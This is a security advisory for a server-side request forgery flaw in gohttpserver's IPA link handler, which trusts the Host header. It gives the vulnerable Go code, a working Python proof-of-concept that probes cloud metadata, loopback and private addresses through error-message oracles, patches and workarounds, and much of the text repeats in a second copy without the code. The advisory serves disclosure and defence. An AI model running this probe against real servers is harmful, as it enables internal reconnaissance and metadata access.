Summary
codeskyblue/gohttpserver is vulnerable to server-side request forgery (SSRF) in the /-/ipa/link/{path} handler. When the --plistproxy server flag is set, the handler issues an outbound HTTP GET request to a URL whose host component is taken verbatim from the incoming request's Host header. The handler does not validate the resulting target, and a remote caller can therefore coerce the server into issuing HTTP requests to private addresses, loopback, link-local cloud metadata services (e.g. 169.254.169.254), or any other reachable host.
Affected Versions
- Tagged release
1.3.0 (the most recent tag)
master branch through commit 75eb27f9c90de186a54b9ea755c50de6a1d5d605
- All earlier versions that include the
hIpaLink / genPlistLink code path and accept the --plistproxy configuration flag
Severity
High. CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N — 8.5 (High).
The Privileges Required metric is set to Low in this advisory because typical deployments place gohttpserver behind HTTP Basic authentication (the project's documented authentication mechanism). Deployments that run gohttpserver without authentication should rate the Privileges Required metric as None, raising the score to 9.4 (Critical).
CWE
CWE-918: Server-Side Request Forgery (SSRF)
Description
The vulnerable code is the hIpaLink handler in httpstaticserver.go:
func (s *HTTPStaticServer) hIpaLink(w http.ResponseWriter, r *http.Request) {
path := mux.Vars(r)["path"]
var plistUrl string
if r.URL.Scheme == "https" {
plistUrl = combineURL(r, "/-/ipa/plist/"+path).String()
} else if s.PlistProxy != "" {
httpPlistLink := "http://" + r.Host + "/-/ipa/plist/" + path
url, err := s.genPlistLink(httpPlistLink)
...
}
}
func (s *HTTPStaticServer) genPlistLink(httpPlistLink string) (plistUrl string, err error) {
pp := s.PlistProxy
if pp == "" {
pp = defaultPlistProxy
}
resp, err := http.Get(httpPlistLink) // ← SSRF sink
...
retData, err := http.Post(pp, "text/xml", bytes.NewBuffer(data))
...
if err = json.Unmarshal(jsonData, &ret); err != nil {
return
}
plistUrl = pp + "/" + ret["key"]
return
}
Two design choices combine to produce the vulnerability:
- The outbound URL is constructed from
r.Host, which is taken from the request's Host header for HTTP/1.1 clients. The header is fully attacker-controlled.
- The
r.URL.Scheme == "https" guard appears to be intended as a "skip outbound fetch when the deployment is HTTPS" check. In Go's net/http, however, r.URL.Scheme is empty on incoming server requests — it is populated only on the client side. The guard therefore never matches in normal server operation, and the SSRF branch is taken on every request to /-/ipa/link/ when --plistproxy is configured.
The handler additionally exposes a partial response-content disclosure channel. After the outbound http.Get, the response body is POSTed to the configured PlistProxy URL, and the proxy's response is then run through json.Unmarshal. When the upstream response is not valid JSON, the Go JSON parser emits the error string invalid character '<X>' looking for beginning of value, where <X> is the first byte of the upstream response. The error message is returned to the caller verbatim in the HTTP 500 response body. The first byte of any reachable HTTP service's response is therefore observable to the remote caller. Standard Go network error strings (connection refused, connection reset by peer, connection timed out, unexpected EOF, no such host) also surface in the error body and provide a reliable port-scanning and host-discovery primitive.
The outbound request is bounded to TCP port 80 — Go's http.Get strips any port suffix the caller attempts to inject through the Host header — but the primitive is sufficient to reach cloud metadata services on link-local addresses and any HTTP service inside the host's network namespace.
Impact
A remote caller authenticated to the gohttpserver instance (or unauthenticated, if the deployment runs without --auth) can:
- Reach the AWS / GCP / Azure / Alibaba Cloud instance metadata service (
169.254.169.254) and exfiltrate the first byte of its responses through the error oracle. On hosts that have not enabled IMDSv2 with a hop limit, this is sufficient to confirm IMDSv1 enablement and to fingerprint the cloud provider.
- Enumerate HTTP services on private/loopback/cloud-internal addresses by classifying the JSON-unmarshal error pattern against the Go network error patterns.
- Disclose the host's recursive DNS resolver address (the error message for a non-existent hostname includes the resolver IP and port).
- Pivot to any HTTP service that grants its access on the basis of the source IP of the gohttpserver host.
Proof of Concept
The following Python script reproduces the primitive against a locally-running gohttpserver instance started with --plistproxy configured. Replace BASE and AUTH with values for your own test deployment.
#!/usr/bin/env python3
"""Proof-of-concept for gohttpserver SSRF via Host-header injection.
Run against your own test instance to confirm the vulnerability."""
import re, requests, urllib3
from requests.auth import HTTPBasicAuth
urllib3.disable_warnings()
BASE = "http://localhost:8000" # ← your test gohttpserver instance
AUTH = HTTPBasicAuth("user", "password") # ← omit if --auth not set
def ssrf(target_host, path="x"):
"""Coerce gohttpserver into issuing http.Get to http://<target_host>/-/ipa/plist/<path>."""
r = requests.get(
f"{BASE}/-/ipa/link/{path}",
auth=AUTH, verify=False, timeout=15,
headers={"Host": target_host},
)
return r.status_code, r.text
def classify(body):
"""Map response body to a primitive class."""
if (m := re.search(r"invalid character '(.)'", body)): return f"http (first byte={m.group(1)!r})"
if "connection refused" in body: return "refused (alive, port 80 closed)"
if "connection reset" in body: return "reset"
if "connection timed out" in body: return "timeout (filtered or down)"
if "no such host" in body: return "dns_fail"
if "unexpected EOF" in body or "transport connection broken" in body: return "eof"
return "unclassified"
for label, host in [
("baseline (example.com)", "example.com"),
("cloud metadata service", "169.254.169.254"),
("loopback :80", "127.0.0.1"),
("private subnet", "10.0.0.1"),
("invalid TLD (DNS leak)", "this.does.not.exist.invalid"),
]:
status, body = ssrf(host)
snippet = body.strip().splitlines()[0][:140] if body.strip() else "(empty)"
print(f"=== {label} (Host: {host}) ===")
print(f" HTTP status: {status}")
print(f" classifier: {classify(body)}")
print(f" body: {snippet}")
print()
Expected output
Against a vulnerable instance running on a host with outbound HTTP allowed:
=== baseline (example.com) (Host: example.com) ===
HTTP status: 500
classifier: http (first byte='<')
body: invalid character '<' looking for beginning of value
=== cloud metadata service (Host: 169.254.169.254) ===
HTTP status: 500
classifier: http (first byte='<')
body: invalid character '<' looking for beginning of value
=== loopback :80 (Host: 127.0.0.1) ===
HTTP status: 500
classifier: refused (alive, port 80 closed)
body: Get "http://127.0.0.1/-/ipa/plist/x": dial tcp 127.0.0.1:80: connect: connection refused
=== private subnet (Host: 10.0.0.1) ===
HTTP status: 500
classifier: timeout (filtered or down)
body: Get "http://10.0.0.1/-/ipa/plist/x": dial tcp 10.0.0.1:80: connect: connection timed out
=== invalid TLD (DNS leak) (Host: this.does.not.exist.invalid) ===
HTTP status: 500
classifier: dns_fail
body: Get "http://this.does.not.exist.invalid/-/ipa/plist/x": dial tcp: lookup this.does.not.exist.invalid on <resolver_ip>:53: no such host
The presence of an invalid character error confirms that gohttpserver issued an outbound HTTP request to the caller-chosen host. The first byte of the upstream response is leaked through the error message.
Test-instance setup
The vulnerability can be reproduced with the project's own quick-start instructions, augmenting the command with --plistproxy:
docker run -p 8000:8000 \
codeskyblue/gohttpserver \
/gohttpserver --plistproxy https://plistproxy.example.com
Any value passed to --plistproxy is sufficient to enable the vulnerable branch — the proxy is reached after the outbound http.Get fires, so the SSRF primitive resolves before the proxy interaction matters.
Suggested Patches
A complete fix should address both the root cause (unsanitized r.Host use) and the response-side disclosure channel. Suggested code changes in httpstaticserver.go:
-
Stop trusting the Host header for outbound URL construction. Use the server's configured public hostname (already available via the --site / configured external URL, or settable through a new flag) instead of r.Host:
httpPlistLink := "http://" + s.ExternalHost + "/-/ipa/plist/" + path
-
Validate the outbound target against an allowlist. If a use case genuinely requires the request-derived hostname, reject any value that resolves to a private, loopback, or link-local address before issuing the request. A small helper using net.LookupHost and net.IP.IsPrivate / net.IP.IsLoopback / net.IP.IsLinkLocalUnicast is sufficient.
-
Stop returning Go error strings verbatim to the HTTP response. Wrap the error from genPlistLink with a generic message (http.Error(w, "plist generation failed", 500)), keep the underlying error in server logs only.
-
Reconsider the r.URL.Scheme == "https" guard. In Go's server-side HTTP, r.URL.Scheme is empty on incoming requests; the intended HTTPS-pathway is therefore never used. The check should be replaced with r.TLS != nil if the original intent was "did the client connect over TLS to this server."
Workarounds
Until a fixed release is available, operators of codeskyblue/gohttpserver can mitigate as follows:
- Run the server without
--plistproxy. The SSRF branch is gated on s.PlistProxy != ""; with the flag unset, the handler returns a 500 error before issuing any outbound request.
- Block outbound network access from the host to private, loopback, and link-local address ranges at the host firewall or cloud VPC ACL. The relevant ranges are
10.0.0.0/8, 127.0.0.0/8, 169.254.0.0/16, 172.16.0.0/12, and 192.168.0.0/16.
- Enable IMDSv2 with hop-limit 1 on EC2 instances hosting gohttpserver. This blocks SSRF-style fetches that originate from a different process or container than the metadata client.
- Place gohttpserver behind a reverse proxy that strips or overrides the
Host header before forwarding the request.
References
Disclosure Timeline
- 2026-05-13 — Vulnerability identified during a third-party security assessment of a deployment running gohttpserver 1.2.0.
- 2026-05-14 — Advisory submitted.
Summary
codeskyblue/gohttpserveris vulnerable to server-side request forgery (SSRF) in the/-/ipa/link/{path}handler. When the--plistproxyserver flag is set, the handler issues an outbound HTTPGETrequest to a URL whose host component is taken verbatim from the incoming request'sHostheader. The handler does not validate the resulting target, and a remote caller can therefore coerce the server into issuing HTTP requests to private addresses, loopback, link-local cloud metadata services (e.g.169.254.169.254), or any other reachable host.Affected Versions
1.3.0(the most recent tag)masterbranch through commit75eb27f9c90de186a54b9ea755c50de6a1d5d605hIpaLink/genPlistLinkcode path and accept the--plistproxyconfiguration flagSeverity
High. CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N — 8.5 (High).
The Privileges Required metric is set to Low in this advisory because typical deployments place gohttpserver behind HTTP Basic authentication (the project's documented authentication mechanism). Deployments that run
gohttpserverwithout authentication should rate the Privileges Required metric as None, raising the score to 9.4 (Critical).CWE
CWE-918: Server-Side Request Forgery (SSRF)
Description
The vulnerable code is the
hIpaLinkhandler inhttpstaticserver.go:Two design choices combine to produce the vulnerability:
r.Host, which is taken from the request'sHostheader for HTTP/1.1 clients. The header is fully attacker-controlled.r.URL.Scheme == "https"guard appears to be intended as a "skip outbound fetch when the deployment is HTTPS" check. In Go'snet/http, however,r.URL.Schemeis empty on incoming server requests — it is populated only on the client side. The guard therefore never matches in normal server operation, and the SSRF branch is taken on every request to/-/ipa/link/when--plistproxyis configured.The handler additionally exposes a partial response-content disclosure channel. After the outbound
http.Get, the response body is POSTed to the configuredPlistProxyURL, and the proxy's response is then run throughjson.Unmarshal. When the upstream response is not valid JSON, the Go JSON parser emits the error stringinvalid character '<X>' looking for beginning of value, where<X>is the first byte of the upstream response. The error message is returned to the caller verbatim in the HTTP 500 response body. The first byte of any reachable HTTP service's response is therefore observable to the remote caller. Standard Go network error strings (connection refused,connection reset by peer,connection timed out,unexpected EOF,no such host) also surface in the error body and provide a reliable port-scanning and host-discovery primitive.The outbound request is bounded to TCP port 80 — Go's
http.Getstrips any port suffix the caller attempts to inject through theHostheader — but the primitive is sufficient to reach cloud metadata services on link-local addresses and any HTTP service inside the host's network namespace.Impact
A remote caller authenticated to the gohttpserver instance (or unauthenticated, if the deployment runs without
--auth) can:169.254.169.254) and exfiltrate the first byte of its responses through the error oracle. On hosts that have not enabled IMDSv2 with a hop limit, this is sufficient to confirm IMDSv1 enablement and to fingerprint the cloud provider.Proof of Concept
The following Python script reproduces the primitive against a locally-running gohttpserver instance started with
--plistproxyconfigured. ReplaceBASEandAUTHwith values for your own test deployment.Expected output
Against a vulnerable instance running on a host with outbound HTTP allowed:
The presence of an
invalid charactererror confirms that gohttpserver issued an outbound HTTP request to the caller-chosen host. The first byte of the upstream response is leaked through the error message.Test-instance setup
The vulnerability can be reproduced with the project's own quick-start instructions, augmenting the command with
--plistproxy:Any value passed to
--plistproxyis sufficient to enable the vulnerable branch — the proxy is reached after the outboundhttp.Getfires, so the SSRF primitive resolves before the proxy interaction matters.Suggested Patches
A complete fix should address both the root cause (unsanitized
r.Hostuse) and the response-side disclosure channel. Suggested code changes inhttpstaticserver.go:Stop trusting the
Hostheader for outbound URL construction. Use the server's configured public hostname (already available via the--site/ configured external URL, or settable through a new flag) instead ofr.Host:Validate the outbound target against an allowlist. If a use case genuinely requires the request-derived hostname, reject any value that resolves to a private, loopback, or link-local address before issuing the request. A small helper using
net.LookupHostandnet.IP.IsPrivate/net.IP.IsLoopback/net.IP.IsLinkLocalUnicastis sufficient.Stop returning Go error strings verbatim to the HTTP response. Wrap the error from
genPlistLinkwith a generic message (http.Error(w, "plist generation failed", 500)), keep the underlying error in server logs only.Reconsider the
r.URL.Scheme == "https"guard. In Go's server-side HTTP,r.URL.Schemeis empty on incoming requests; the intended HTTPS-pathway is therefore never used. The check should be replaced withr.TLS != nilif the original intent was "did the client connect over TLS to this server."Workarounds
Until a fixed release is available, operators of
codeskyblue/gohttpservercan mitigate as follows:--plistproxy. The SSRF branch is gated ons.PlistProxy != ""; with the flag unset, the handler returns a 500 error before issuing any outbound request.10.0.0.0/8,127.0.0.0/8,169.254.0.0/16,172.16.0.0/12, and192.168.0.0/16.Hostheader before forwarding the request.References
Disclosure Timeline